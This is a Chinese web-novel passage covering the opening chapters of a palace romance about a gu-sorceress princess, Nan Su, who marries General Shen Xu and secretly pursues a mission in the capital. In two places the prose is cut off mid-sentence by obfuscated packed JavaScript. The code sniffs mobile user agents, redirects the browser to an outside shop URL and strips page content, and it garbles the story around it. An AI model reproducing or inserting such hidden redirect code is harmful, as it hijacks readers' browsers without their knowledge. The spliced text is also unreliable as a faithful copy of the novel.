《月皎惊乌栖不定》 1. 京城 京城,玄武天街。 元日已过,城中仍是一片繁华之景。已是戌时二刻,坊间灯火通明、人群熙攘。摊贩间吆喝声不断。 酒楼内歌舞升平,谈笑声连天。 街正中央,京城内专供王公贵族玩乐的步天楼也是如此一般景象。雅间内笙歌阵阵,琵琶挽酒。酒楼檐角悬着的红灯笼在风中轻晃,映得那海棠雕花窗棂忽明忽暗。 忽有一道黑影掠过巷尾,贴着墙根疾行,衣袂擦过青砖的声响,淹没在婉转缠绵的琵琶声中,却没盖住踝间那泠泠作响的铃铛声。 那身影忽地停了下来。 只见那人将食指轻轻置于唇前,腕间细镯随着抬起的手而向下滑去,她摇了摇头,那铃铛便听话地安静了下来。 南夙驻足于步天楼后巷,仰头望了眼三层的暖光,纵身跃起,五指攀住凸出的砖缝,腰腹一用力,轻巧地翻上了二楼飞檐。瓦片在她足下无声地起伏,几个起落间,她便掠至灯火最甚的雅间上方。 她俯身贴瓦,屋内推杯换盏的交谈声清晰可见。 “今日靖北侯世子的婚礼,那可叫一个盛大,你瞧见今日玄武街上的阵仗没有?那红绸铺了整整十里!” “可不是?我听说这西南王为这幼女备的嫁妆,光珊瑚树就运了十二株,陛下还特赐了金丝楠木的婚轿——这排场,京城怕是没几个人比得上。” “西南那地如此贫瘠,西南王准备的嫁妆还能如此丰厚,看来对此次和亲也是十分看重了。” 南夙嘴角不自觉上扬起来。屋内的人还在交谈。 “说到底,还是圣上器重沈世子。这和亲乃是西南王所提,按理说这郡主应当许给皇子才对,陛下却许给了沈世子。” “这也正常,沈世子当真是不世出的奇才,十五岁随父出征,一箭射穿敌将咽喉;十八岁独领三千轻骑破北狄三万大军——这般人物,百年难遇啊。” 听到这里,南夙直起身来,没再继续往下听。 作为今日婚礼的当事人之一,她当然知道他们讨论的是谁。靖北侯长子,大景的少年将军,她的和亲对象。 不对,应该把和亲二字去掉。 现在那位沈世子已经是她名正言顺的丈夫了。 他这么厉害的吗? 南夙心道。在此之前,她从未听说过此人,自然也不知道他的那些功绩。 她抬眼眺望京城,繁华都景映入眼帘,这是过去十六年里从未见过的景色。但今日她却不是为赏景而来。 没想到被别人的谈话吸引听了许久。 她伸出一只手指,从最左边的房间数起。 信中说:面朝大街从左往右数第三间。 找到了! 南夙矮身朝檐边而去,夜风急急,她眸光一闪,单手勾住檐角,借势荡向侧窗。 指尖在窗棂缝隙一探,“咔”的一声轻响,插销弹开,她轻巧落地,未发出声响,唯有案上烛火微微一晃。屏风后传来醉汉的呓语,她背贴朱柱,如一抹游烟滑进了长廊深处的阴影里。 南夙停在第三间房前,轻推开房门走了进去,一个闪身掩在衣架后。她身量小,挂着衣袍的架子将她挡得严严实实。 她侧耳倾听屋内的动静,但除了倒茶声,再无别的声响。她微探出头来,朝桌边的人看去。只见两人靠得极近,似是耳语。 听不见两人在说什么,她只好观察两人的动作。不知两人说了什么,其中一人突然色变,坐立不安起来。 那人显然是极焦虑,端起茶杯猛灌了一口。南夙顺着他抬起茶杯的右手看去,那断了的小指映入眼帘。 就是他! 她正想实施下一步计划,那人却突的站起身来,朝坐着的人匆匆行了个礼,随即朝窗走去。 他想逃! 察觉那人的意图,南夙没再躲藏,冲向屋内。那人也发现了南夙朝他追来,立马跳下窗,朝巷内跑去。 三层楼的高度,那人却没丝毫犹豫便往下跳。南夙看出来此人是个练家子,来了些兴趣,跟着跳了下去。 步天楼后巷不像前街那般繁华,窄巷深处只余几盏残灯昏黄。 南夙踏着晾晒杆纵身跃下,她猛地登墙扑出,裙摆扫过墙角蛛网,落地时已距那人不过半臂距离。 眼见指尖就要触到对方后心。脚步声自转角而来,随后便是骤然亮起的火把与铁甲相碰的锵锵声。 “大理寺办案!” 一声厉喝传来。 南夙倏地闪进柴堆后,望着这群不速之客。 大理寺? 那不是官家的人吗?这人怎么还得罪了朝廷。 不行,这人若是进了朝廷的大牢,那她想见此人便是难上加难。眼见那人已被逼至墙角,两名官差欲上前将其拿下。 南夙眸子一颤,眼波流转间,似有一道极细的银线自眼底游过,瞳孔蓦地浮起一点琉璃色的幽光。霎时间,数只蛊虫自她袖中无声涌出,翅翼间泛着鬼火般的荧蓝,朝大理寺的人疾掠而去。 “小心!” 官差中有人大喊,举刀格挡。但话音刚落,那人忽然僵住,瞳孔急剧收缩,仿佛被无形之绳吊住了魂魄。周围人一个接一个如他一般,刀剑落地的脆响自巷中荡起。 此时,巷中唯有一道脚步声自巷外而去。 南夙后退半步,指尖在袖中轻轻一勾。 她望向那人逃走的背影,一抹红点自那人颈后亮起。 南夙没再去追,她出来太久,该回去了。今夜毕竟是她的新婚夜,万一有人去寻,难免败露。 她转身朝靖北侯府而去。 夜色中,南夙飞檐掠过巷口,余光忽瞥见一抹素白。她足尖在檐上轻点,身轻如燕,轻飘飘落在一株老槐枝头。 巷底坐着一个白衣男子。 他手中捧着支褪色的锦囊,金线绣纹已然模糊不清,唯有角落一朵小小的木槿花还依稀可辩。身前三尺青砖上,摆着半块干裂的桂花糕,一壶清酒。那酒液正缓缓渗入砖缝。 南夙望着他的背影,总觉得他在哭,那酒像是他的泪一般。 夜风忽起,吹得那人广袖翻飞。南夙看见他腕间露出一截红绳,缠着块残缺的玉璜。 街角更鼓声传来,南夙蹙眉望了望天。又见那人没什么动静,也没再看,转身一跃而起,黑袍拂过重重屋瓦,转眼消失在渐浓的夜色中。 …… 靖北侯府后门。 南夙站在墙根向上望去,墙比她高出整整七尺。即使她纵身跃起,指尖距墙头还差两尺多。但她面上却丝毫没有慌张的表情。只见她缓缓褪去夜行衣,将里面的绯色长袍露出来。 她将夜行衣团巴团巴塞进了旁边不知哪家的院子角的狗洞里。 南夙指尖抚过冰冷的砖面,这侯府后门平日里没什么人来,现已落了苔。她纵身跃起,两次借力,第一次踏碎青苔,她用了些力,恐青苔太滑,稳稳扣住墙沿。第二次腰肢轻旋借力再跃。碎瓦簌簌而落,她已翻身越过高墙,平稳落地。 她拍了拍手,理了理衣襟,回头挑衅般看了眼那高墙,转身朝府内跑去。 踏过回廊,她蹿进假山后的梅林。 一炷香后,南夙站在岔路口,她挠挠脑袋,一脸菜色,第不知多少次陷入迷茫。 “方才明明是这个方向……” 她蹙眉盯着眼前几乎一模一样的花/径,连铺地的鹅卵石花纹都分毫不差。左手边那株海棠,怎么看着与半刻钟前经过的那株连开花的姿势都一样? 她懊恼地踢开一颗石子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“不管不行啊。”他慢悠悠踱步到她跟前,指尖掠过她有些凌乱的鬓发。“这大半夜的,我的新娘子要是跑了……”他忽然压低嗓音,语气有些委屈似的,“为夫岂不是要独守空房?” “你……你不许叫夫人!”南夙耳尖红得滴血。 “那叫什么?” 他故意凑近,温热的呼吸拂过她绯红的脸颊,“娘子?爱妻?还是……” “叫名字!” 南夙气急败坏地打断他,她抬脚去踩他的靴尖,却被他灵巧地躲开,南夙更生气了,她大声怒斥,“沈序!” “南夙。” 沈序突然正色唤她。 厢房外的灯笼忽地一暗,青石板上绽开数点湿痕。檐角铜铃还悬着半声轻响,转瞬便被簌簌银絮掩去。 南夙抬眼看他。 “来人。” 沈序突然扬声,嘴角噙着狡黠的笑,“落雪天凉,送世子妃回房。” 几个嬷嬷闻声而来,南夙尚未反应过来,便又听他说道:“世子妃方才说身子不适,你们好生照料着,这些日子让世子妃好好在院中歇着,别出去又受了凉。” “什么?” 南夙瞪大眼睛,不可置信地看着他。 这是要禁她的足? “我……”她正欲抗议,沈序却又下了定令,嬷嬷们上前来扶她。 南夙“哼”了一声扭头就走,不再理他。 待他被嬷嬷领走,沈序望着她的背影,抬手覆上胸膛,那是心脏的位置。 他垂眸掩去眸底暗涌,再抬眼时,已是那副慵懒的模样。他拢了拢衣袍,拂去肩上的雪,转身朝屋内走去。 2. 上元灯节,玄武天街 南夙走时怒气冲冲,实际刚走出沈序的视线便松了一口气。 “幸好……”她轻抚颈侧,刚刚努力压下去的那些暗纹此刻又开始显露出来。 她现在脑子里很乱,急需回屋子去梳理一下。嬷嬷们似是以为她气着了,替她撑着伞,步子都迈得快了些。 “小姐?!”刚入院门,安雀手中的铜盆“咣当”一下砸在青石板上,溅起一片水花。她慌忙提起裙摆奔下台阶,却见南夙一脸严肃地朝自己走来。 “您……您怎么从正门……”安雀的声音戛然而止。 南夙的食指指尖正缓缓滴落一滴暗红,在月色中泛着诡艳的光。她弯腰提起南夙的裙摆,果然见铜铃十九蛊躁动不堪,在铃中震颤。 “备热水。”南夙朝屋内走去,“一会跟你说。” 氤氲水汽在檀木浴桶上方萦绕,南夙将下巴浸在漂浮的白梅瓣间,颈间银纹在水光下若隐若现。 安雀舀起一瓢温水淋过她的肩头,压低声音,语气有些担忧:“小姐颈后的圣蛊纹,怎的突然艳了这么多?明明已经很久没亮过了。” “我今日回府时遇见了沈序。”南夙闭目,任由水流冲开锁骨下蔓延的妖异纹路,“他好像是生病了,我来时,他正在咳嗽,声音……很痛苦。” “上次圣蛊如此躁动,还是阿姎走的时候。”南夙指尖攥紧桶沿,一提到阿姎,她声音便有些发颤,“可是……我从未听说阿姎来过中原。” “圣蛊为什么会对沈序体内的蛊有如此之大的反应?”她轻声呢喃,“沈序体内又怎么会有蛊呢?” 安雀轻轻梳理她打湿的长发,提出疑问:“可是白日合卺时,小姐明明说世子爷身上很干净。” “所以古怪。”南夙伸出手掌,一只蛊虫自她食指指尖飞出落在掌心,那儿的暗红已经不见,看不出任何痕迹,她凝视着蛊虫忽明忽暗的翅翼,慢慢合拢了手掌,“除非……”她脑中忽地闪过一个猜测,“他发病时蛊虫才会现行。” 这已是目前她能想到的最有可能的猜测了。 “小姐今日出去抓到人了吗?”安雀又问她另一件事。 南夙缓缓摇头,将遇到大理寺办案的事告诉她。又说:“我们得找机会去趟枕月楼,可是今日沈序禁了我的足。” “禁足?”安雀惊讶,“世子爷发现小姐出府了?” “嗯。”南夙怏怏地点头,小脸挎着,指尖狠狠划过水面,“狗东西!” 安雀忙止住她:“小姐,这话可不能让外人听见了。” “小姐,该歇了。”安雀将最后一缕湿发挽起,指尖沾了茉莉油轻轻按揉在她的太阳穴。 南夙懒懒地“嗯”了一声,却仍盯着铜镜中颈间未消的银纹出神。安雀见状,取来熏暖的软缎绸衣披在她肩头:“蛊纹既褪了大半,明日再想也不迟。” 窗外风雪渐紧,扑簌簌地敲着窗棂。安雀吹熄了内室的灯烛,只留一盏缠枝银灯在远处幽幽地亮着。南夙终于起身,赤足踩过厚实的绒毯,钻进早已暖好的锦衾里。 “你也去睡吧。”她含糊地嘱托云雀,声音已然倦了 。 安雀轻手轻脚地放下纱帐,退出去时,听见帐内传来均匀的呼吸声。 烛芯“噼啪”一声熄灭,青烟尚未散尽,便被窗缝渗入的雪光照得透明。檐角的冰凌渐渐染上晨色,从黛青到金红,终于“嗒”地坠落在阶前。 “小姐,世子爷来了。”安雀轻扣门扉的声音惊醒这满室的静谧。南夙睁眼时,一抹朝阳正斜斜切过枕边。 南夙推开房门,见沈序立在廊下。那人褪下婚服,换了一袭雨过天青色的圆领襕袍,腰间蹀躞带未配玉饰,只简单束着一条玄色革绳。 衣饰虽简单,却将他的体型勾勒得极为好看。 “夫人昨夜睡得好吗?”见南夙出来,他温柔开口,“父亲母亲已在中堂等着了。”全然不见昨夜的流氓样。 南夙内心翻了个白眼,踝间铜铃突地震颤起来,她状似不经意地扯了扯衣袍,随衣摆动作间,余光忽瞥见沈序垂在身侧的右手腕间多了抹白色,那白色间染着点暗红,竟是被血染红的印记。 南夙看了一眼他手腕上的纱布便将视线收回,乖乖跟着沈序的脚步去了中厅。 一路上她都在想,沈序的伤是何时有的。她又回忆昨日合卺与昨夜见到沈序时他的手腕是否有伤。可惜想了半天,她对此毫无印象。 南夙纠结沈序手腕的伤,并不是因为担心他。只是作为一个蛊师的警惕与直觉。 灵诏以人血入蛊的法子很多。诸如以人血喂养命蛊,以人血为引下蛊等手段层出不穷。南夙体内的圣蛊便是第一种,她从小便以身血饲养圣蛊。如今与母蛊已是一体同命。若她身死,体内的圣蛊也会在片刻内死去。反之,要是她体内的圣蛊死去,那她也会死。不过发生这种情况的概率几乎为零,圣蛊在她体内待了这么多年,活在她身体的每一处。但具体某时在哪,也只有她自己能知道。除非圣蛊自己飞出体外,否则就只有杀了她这一个办法能杀死圣蛊了。 说起来,圣蛊往日里是只懒虫,素来只爱宿在她的心口处,一年到头难得见它挪次窝。但自从入了京城后,圣蛊突然便有了活力,成日里在她体内奔走,窜来窜去。这实在过于反常。加上昨日她又发现沈序体内被种有蛊虫,据她探查,种下的年岁还不短。沈序这时候手又受了伤,她实在不能不多想。 南夙紧跟在沈序的身后,她脚步未停,视线却未离开沈序那只受了伤的手,观察了一会,她挪开了视线。仗着沈序看不见,她大胆地打量起沈序的背影,但看了半天,她得出的结论只有一个:沈序的背影真好看啊。 其次就是,除了昨夜发现的那枚蛊,她确实没有在沈序发现有其他蛊虫的存在。 圣蛊与其它蛊虫的关系可以说是祖宗与她众多徒子徒孙。因着这个原因圣蛊能够感应其它的蛊虫的存在。不过这个能力使用的范围要根据主人的实力来定。南夙饲养圣蛊十年,蛊术没落下,功夫也不逊色。目前她能感应方圆十里的其它蛊虫,还能感知这枚蛊虫的厉害程度。 凭她昨日对沈序体内的蛊虫的反应程度来看,沈序体内的蛊必然是最厉害的那一档,反正她是无法制衡的。但沈序不是灵诏人,他是中原人的世子,流的也是中原人的血,南夙想不出谁会给他下蛊,还是如此厉害的蛊。 “夫人要看为夫到何时?” 身前的沈序突然停下脚步,转身看向南夙,语气揶揄。 南夙身躯一震,旋即状若自然地撇开一不小心与沈序对上的视线。 “谁看你?”语气十分有十二分的不屑。 “哦?”沈序双手抱在胸前,“那看来得找人好好清理一下院子了。” “为什么?” 南夙疑惑,这与清理院子有什么关系?下一秒,沈序就为她解开了迷惑。 只见他缓缓启唇:“院子里必是有了老鼠。不然我怎么总觉得这后背有人觊觎我呢?” 好啊,敢情是在内涵她是老鼠。 南夙一听,狠狠瞪了他一眼。她在心里暗暗告诉自己,眼前人是她的夫君,熄火,熄火! 她甩甩脑袋,将沈序的挑衅抛到一边,问他:“你手上的伤是怎么回事?” 反正也是沈序主动起的头,她干脆顺势推舟,直接问一问沈序,省得日后还要花时间花精力去调查,若是被发现,说不定还要被质问。 南夙向来都是有事说事的人,她不喜欢藏着掖着互相误会的话本情节,她希望交往的人都能坦诚相待。虽然她也知道这是很难的。 盛世下的人们尚且会为争名夺利而争得头破血流。更别说现在的大景内忧外患。不过瘦死的骆驼比马大,南夙不就为了两邦之交而远赴中原来和亲了吗?虽然她是带着任务而来。 总之,她就是讨厌身边的人互相猜忌,你争我斗。为避免这种情况,南夙希望除了一些不能讲的东西外,沈序和她能够在有所保留的前提下坦然一些。 虽然他们夫妻不能同心,但南夙不希望完成任务后在这侯府活得水深火热。 沈序听到她的问题后先是一愣,显然没想到南夙看了他这么久纠结的问题居然是他手上的伤。 他本想逗逗她,但见眼前的人仰着头,一双猫儿眼睁得大大的,琥珀色的瞳孔下印着他看向她时的身影。恍然间,他好像真的在南夙的眼神中看出了几分担忧。 于是他即将离开喉口的话语转了个弯,被他咽回肚子里。 他将包有纱布的右手举到南夙身前,挽起了袖子,将整个手腕暴露在南夙眼前,说道:“昨日下人打碎了茶盏,不小心划伤的,没什么大碍。” 南夙低头望了望,突然伸手轻扯了一下那纱布,像小猫突然伸出爪子挠了一下你的掌心,气势汹汹的,但爪子软软的,没什么杀伤力。 沈序不由得弯了下眼睛。南夙也没什么别的目的,只是沈序突然将手伸到她的面前。那一瞬间,南夙呆了呆,下一秒突然福至心灵般,还没来得及反应,爪子就已经出去了。直到手已经触到了沈序的手腕,她才反应过来。不过这手都已经伸了,杵在半空更是尴尬,她便扯了下沈序腕见的纱布。 然后,她快速地抬眼望了一眼沈序,见沈序没什么反应,她才放下心来。 “嗷嗷,没事就好。”南夙点点头。 沈序将手放下,又看向她:“既然没事,那便进去吧。一会父亲母亲该等急了。” “嗯嗯。” 南夙这时才发现他们已经走到中堂外了,她当然没忘自己是和沈序来向阿翁阿家请安的,只是一路上她都在想事,完全没注意已经到了。 新妇入门后需给长辈敬茶,南夙将流程走过一遍后,侯夫人赶紧将她拉到身边来坐下,又是摘下腕上镯子往她手上套,又是问她昨夜睡得怎么样。 她赶忙答了,又想去摘镯子,说自己不能收。 侯夫人按住她的手,只说这本来就是留给儿媳的,让她收下。南夙再拒也不成,靖北侯坐在一旁也劝她收下。她再转头看沈序。那人悠闲地坐在桌边,为自己斟了茶,专心品着茶,压根没在意她们这边。 她气不打一处来,便自己做主将东西收下了。站起身来向二老道谢:“多谢阿翁阿家。” 侯夫人又将她拉到身边,嗔怪道:“以后就是一家人了,说什么谢?” 又说:“日后若是阿序对你有什么不妥当的地方,你只管收拾,千万别收着。在府内若是有什么不习惯的地方也只管告诉阿家。” 南夙心下一软,连连应下。 “那便用膳吧。”靖北侯见两人交谈得差不多了,便开口道。 一时用毕了膳,南夙拜别二老回了院子。 南夙在院子里待了两日,梳理了一下目前的情况和计划。 首先是自那夜后每次见沈序圣蛊都会活跃,只是程度远没有那日强,南夙猜测是沈序没有发病的原因;其次是知道了沈序目前在大理寺当值,南夙想到那日遇大理寺查案,不知沈序在大理寺是什么职位,与那日的事有没有相干;还有便是见了沈序的弟弟沈褚——那个自她来府中便嫂嫂长嫂嫂短唤她的大傻孩子。 她得赶紧找机会去枕月楼见戈辞。 沈序。 戈辞。 弟弟。 弟弟? “安雀!”南夙一骨碌自榻上爬起来,冲外面大喊,“快去将阿褚叫来。” 不过片刻,屋外便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17144225|196354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 响起奔跑的声音。南夙一听便知是谁。 镇北侯一生为人歌颂。究其因六成是因为军功战绩,剩下四成,便是这爱妻爱子之美德。 自与发妻成亲十多年来,镇北侯沈疏从未纳妾。沈疏曾向虞寒晚许诺一生一世一双人,而他的诺言也并非只是随口一说,是真真切切待人十年如一日。 这样的感情让南夙很是艳羡。每每听到或亲眼看到阿翁阿家举案齐眉的模样,她都会想,若是阿姎尚在世间,诏父与她或许也能如阿翁阿家这般恩爱不疑。 想到阿姎,南夙不自觉地低了下头,眸中闪过片刻的难过。 “嫂嫂唤我作何事?” 下一刻,一道年轻活力的声音打断她的思绪。南夙抬头,便见一个身样约十二三,身着一袭鸦青色圆领袍的少年风风火火地撞进了她的房门,搓着冻红的手,一看便是刚玩闹回来。来人正是沈序的胞弟沈褚。 南夙见他鼻尖冻得通红,一双手已经红得看不出本来的肤色,忙让下人给他塞了一个汤婆子,又给他披了大氅,让他在一旁先暖暖。 待沈褚身子暖和些后,南夙将他唤至身边,凑近他的耳边:“嫂嫂在这府里快闷死了,带我去逛街。” “嫂嫂想去逛街?”沈褚眼睛一亮,立马来了兴趣,“好啊,我带嫂嫂去。” “可是你哥禁了我的足呢。” “嫂嫂不用担心。”沈褚不在意地摆摆手,“我哥罚人从来都是嘴上说说,再说他肯定不会真的罚你的。” 南夙不赞成地撇撇嘴,心道你哥可不像是随便说说的样子。但却没有说出来。而是说:“那、你带我出去?” “好啊。”沈褚拍拍胸脯保证,“我保证让嫂嫂你好好地见见京城的繁华。” 南夙出了大门才知道,原来沈序说的禁足真的是嘴上说说啊。她们出门时不旦没有被挡,反而来了人问需不需要准备马车。 不过南夙拒绝了,她出去是去找路的,坐上马车还怎么找? 正月初的日头不那么盛,懒懒地悬在玄武天街上方,将积雪未消的屋檐照得晶莹剔透。南夙站在街口,呵出的白气与摊贩蒸糕的热雾混在一处。 明明冬日,街巷间孩童玩闹的嬉笑声,混着摊主间的谈话,掺着几分对面酒楼飘来的寥寥酒香,将这条街热得竟像春日那般明媚。 这是南夙真正意义上第一次见京城。 难怪灵诏的子民都向往这里,这里确实一幅盛世华章,富贵迷人。 “阿姐看呆了?”沈褚笑着在她眼前晃了晃手,“这才哪到哪,咱们京城的好去处可多了去了呢!” 南夙不让他在外头叫嫂嫂,他便改口叫了阿姐。 她收回目光,故作随意地问道:“这京城内,可有什么出名的酒楼?” “那可多了!”沈褚掰着手指数道,“城东的醉月轩,城西的枕月楼。不过要说最出名的,还是这玄武天街的步天楼,足足七层楼高,站在顶层能俯瞰整个京城,甚至能望见皇宫的飞檐呢。” “那便先去步天楼吧。”她开口道。 步天楼内,南夙椅栏远眺,将整个京城布局尽收眼底。她细细记着枕月楼的位置。回去得让安雀画张地图,不然明日她便忘了这路该如何走了。 半个时辰后,他又带着沈褚来到枕月楼。 枕月楼临街而立,外形上乍看与京城寻常商铺无异。南夙踏入楼中,迎面是一排檀木展柜,上头陈着各色胭脂水粉,朱钗玉簪。 她缓步穿过,停在一处朱钗展柜前,指尖掠过一支银簪,她将它拿起,捻在手中细细打量了一番。 这银簪簪头雕着精细的缠枝莲纹,花蕊处嵌了颗极小的红玉,在光下泛着暗芒。她刚拿起,便见这簪头闪烁起来。 自十里外她便感知到附近有蛊虫,她看着红玉中因她靠近而躁动起来的蛊虫,果然如此。 “夫人真是好眼力。”一位身着靛蓝襦裙的女子悄然走近,笑吟吟道,“这支簪子的缠丝工艺,是从南边传来的,我们楼主亲手做的,京城独此一份。” “是吗?”南夙含笑点头,“确实不错。” 她取出银钱放在案边,随意将簪子插入发髻。拉着还在一旁好奇观赏的沈褚离去。 待她的背影在街角消失。楼内忽有一人缓步从阶上而来,缓缓开口:“闭楼。” 那人停在南夙方才所站的展柜前,只见她往柜上撒了不知什么,一根红线自柜中爬起来落到一旁的地砖上,蜿蜒着在地砖上爬出一行小字: 上元灯节,玄武天街 字迹如蛛丝般细,转眼便随风散了。 …… 烛火轻晃,安雀的指尖在发抖。 沾了药液的丝帕拂过眼角,南夙的睫毛不自觉颤了颤。铜镜中,她琥珀色的瞳色此刻如同蛇信半自中间撕裂,露出底下真正的瞳孔。 那颜色像淬了毒的翡翠,烛光照亮,让人看清那摄人的琉璃青。 她没出声,只是攥紧了手中的犀角梳,梳齿深深陷进掌心,在肌肤上压出几道红痕。 “小姐…”安雀动作有些不忍,药棉停在半空。 “没事。”南夙声音发颤,深吸一口气,说道,“继续。” 药膏触到皮肤的瞬间,南夙身子猛地绷紧。那药性极烈,灼得眼睛发烫,像有人拿着细针往瞳仁上雕花。她的指甲无声地掐进梳背,指尖泛白,连呼吸也乱几分。 镜中,琉璃色被一寸寸吞没,重新覆上温润的琥珀。汗水顺着她的鬓角滑落,在下颌凝成透明的水珠,最终无声地砸在妆台上。 安雀手忙脚乱地替她擦汗,却听见院内传来脚步声,两人动作皆是一顿。 “夫人可睡下了?”门外传来沈序含笑的声音。 3. 枕月 两人对视一眼,南夙面无表情的将安雀手中的瓷瓶接过,盖上盖子放到一边,又将药棉扔进了一旁的渣斗中,才让安雀去开门。 安雀走至门边开了门。 沈序怀里抱着个枕头还有床被子,跨步进了屋子,南夙看他朝床边走去,将枕头和被子扔到床上。 “你来做什么?”南夙看着他的动作,一脸狐疑地问道。 那边沈序已经翻身上床,盖上被子,两手枕在脑后,一脸理所当然地说:“睡觉啊,还能是做什么?” “你睡觉来我的院子做什么?”南夙一把掀开他的被子,打算去拉他的手,“回你的院子去。” 没成想沈序早预谋了她的动作,在她伸手前灵活地往床里一滚,让南夙拉了个空。 南夙手转了个弯,抄起自己的枕头,唰地一下砸向沈序,正正砸在他的脸上。 “夫人好大的火气。”沈序将枕头拿开,露出那双好看的眼睛,“怎么说我们也是三书六礼,明媒正娶的夫妻,同房不是天经地义?” “前几日怎么不见你来?” “染了风寒。”他装模作样咳嗽两声,“怕过了病气给你。”说着他又要往窝里钻,“如今已大好,夫人不必担心。” 哼,南夙在心里冷笑,装得倒是像。风寒,怎么没咳死你。还大好,要是不将蛊取出来,你等着咳一辈子吧。 “况且母亲说夫妻总是分开睡也太不像样。”他突然坐起身来,语重心长般,“夫人也不想母亲担忧的吧。” 提到阿家,南夙犹豫起来。沈序说的不是没有道理,这府中不是只有他们二人,就算他们俩互相没什么感情,还有阿翁阿家这关要过。 但也不是非要睡一张床。 她伸手抓过枕头,往窗边的贵妃塌上一扔,拽着沈序过去:“要睡就睡这儿。” 沈序倒是很自然地起了身朝榻边走去,他坐在榻沿,提着要求:“这么冷的天,夫人好歹给床被子。” 南夙又将他的被子扔给他。 沈序懒洋洋地躺下,一副准备就寝的模样。 她转身要走,却忽听身后传来一句漫不经心的问话:“听说夫人今日去了枕月楼?” 南夙脚步一顿,却没回头,她平静回道:“是,怎么了?” 榻上的男人单手枕在脑后,目光闲闲地落在她身上:“我听闻这枕月楼的楼主有的一身好手艺,最擅长的便是,做那银簪上的缠枝纹,不知夫人今日可得见没有?” “自然。”南夙转过身来,目光与榻上的人对视,“我还买了一支回来,夫君感兴趣?” 沈序几不可见地挑了下眉:“没什么兴趣。我更感兴趣的是,夫人今日玩得可还开心?” “多谢关心。”南夙嘴角微弯,眼底却无笑意,“很开心。” 屋内一时无言,唯有更漏滴水声清晰可见。 “那便好。”沈序翻了个身,背对着她,声音里带着几分慵懒,“睡吧。” 南夙盯着她的背影看了片刻。 最终吹熄了烛火。 五日后,上元节。 南夙一大早便被阿家叫醒,说是给她做了新衣裳,非要她起来试试。 安雀刚掀起帐子,阿家已带着几个丫鬟鱼贯而入。那些个丫鬟手里都捧着叠得齐整的新衣,在屋内排成一列。 “夙儿,快试试这件!”阿家抖开一袭正红蹙金绣牡丹纹的袄裙,“上元节穿最是喜庆。” 南夙睡眼惺忪地被扶起来,灵魂尚未归位呢,便被丫鬟们摆弄着更衣,才系好裙带,阿家又递来件孔雀蓝银泥披帛:“再配上这个瞧瞧。” 更衣、系带、整理衣襟……如此繁复。 南夙终于知道为什么这么一大早便将她叫醒。她麻木着被套进第七套衣服,望着妆台前堆得越来越高的衣山,直在内心喊救命。 “再试试这套八破裙。”阿家又举起一套衣衫向她递来时,前厅忽来了管事唤她,阿家匆匆扔了衣裙离去,临走前还不忘叮嘱:“剩下的也都试试!” 屋内终于安静下来。 南夙长舒一口气,望着还剩的五六套新衣,揉了揉发酸的腰。 “世子妃,这件茜色罗裙……”一名丫鬟小心翼翼地捧过来。 “不试了。”她随手扯过最底下那件素面襦裙,草草系了条旧锦带,长发未绾便往前厅跑。 “小姐!好歹披件斗篷。”安雀举着狐裘追至廊下。 南夙已跳下石阶,裙摆拂过阶面涩浪,她窜进回廊,提溜着裙摆穿过月洞门,晨风将她的长发吹成流瀑,又扬起她松散的衣带,在身后飘飞,乍一看,倒像是只绿蝶。 沈序正在抱廊下翻看账册,忽见一道艾绿身影掠来,他扬眼望去—— 南夙长发未束,衣衫单薄,直直地朝这边跑来。似是望见了他,南夙在他面前急刹住脚步,呵出的白气拂过他手中的账页,抬眸与他对视。 她一双猫儿眼琥珀瞳,眼尾天然微扬,平日里是暖琥珀色,笑起来时像盛满阳光的蜜罐。鼻尖微翘,唇珠饱满如樱桃,右眼角点着一滴泪痣,眉间一点细钿。 见他看过来,那双眼睛会微微睁大,很不服气的模样。但他知道,这双眼睛垂下时,可不像看着这般简单无害。 俗话说得好,越是美丽的东西毒性便越强。沈序垂眸捻去眸中黯色。 “穿成这样……”他淡淡开口,“是打算冻成雪人给上元节添景?” 南夙吐着舌朝他做了个鬼脸:“刻薄鬼,要你管!” 安雀气喘吁吁追来,忙将白狐裘裹住她单薄肩头,又拉她至廊边坐下,替她束发。 玄武天街灯火如昼,热闹非凡。沈序得了命令,让他带着这位来自西南的世子妃好好的感受一下京城上元节的热闹。上元节得了假,左右沈序也没别的事,便应下了这桩活。 其实他也想看看,他这位世子妃究竟要在他眼皮底下耍什么花招。 南夙提着鲤鱼灯穿行在人群里,人潮拥挤,不时被行人碰到。沈序跟在她身后三步处,目光跟着她的背影。 “砰!” 突如其来的爆竹声在人群中炸开。南夙好奇驻足,见街边戏台上一些戴着青面獠牙面具的舞者在唱着她听不懂的戏。 她歪了歪脑袋,却见那舞者突然下了戏台,朝人群中走来。忽的人潮涌动,不知何人撞翻了糖画摊子,滚烫的麦芽糖浇在青石板上,惊得人群连连退后,尖叫声迭起。 南夙被人群推着向前走,她慌张转头,伸手去拉沈序:“夫君!” 沈序也伸出手来抓她,谁料南夙忽地被绊了一下,两人再一抬头,已不见对方的身影。 南夙的身影在卖娟花的货郎担后一闪,披帛旋起,随她没入了街旁无人的巷子。她自怀里掏出那日安雀画好的京城布局图,转身朝枕月楼而去。 南夙刚踏进枕月楼的后门,便被两名灰衣侍女无声引上三楼。推开花鸟屏风,满室的灵诏藤香扑面而来。 “戈辞见过公主。” 珠帘轻响,一位身着紫罗兰裙的女子款款下拜,行的却不是中原礼,而是灵诏的蝶栖礼。 “戈辞…”南夙细细打量着眼前的人,“阿维派你们来京城有多久了?” “回公主,已八年有余。”戈辞垂首,耳畔孔雀石坠子微微晃动。 “阿维派你们来京城,所为何事?” 戈辞轻轻摇头:“主上只命我等潜伏,静待时机。” 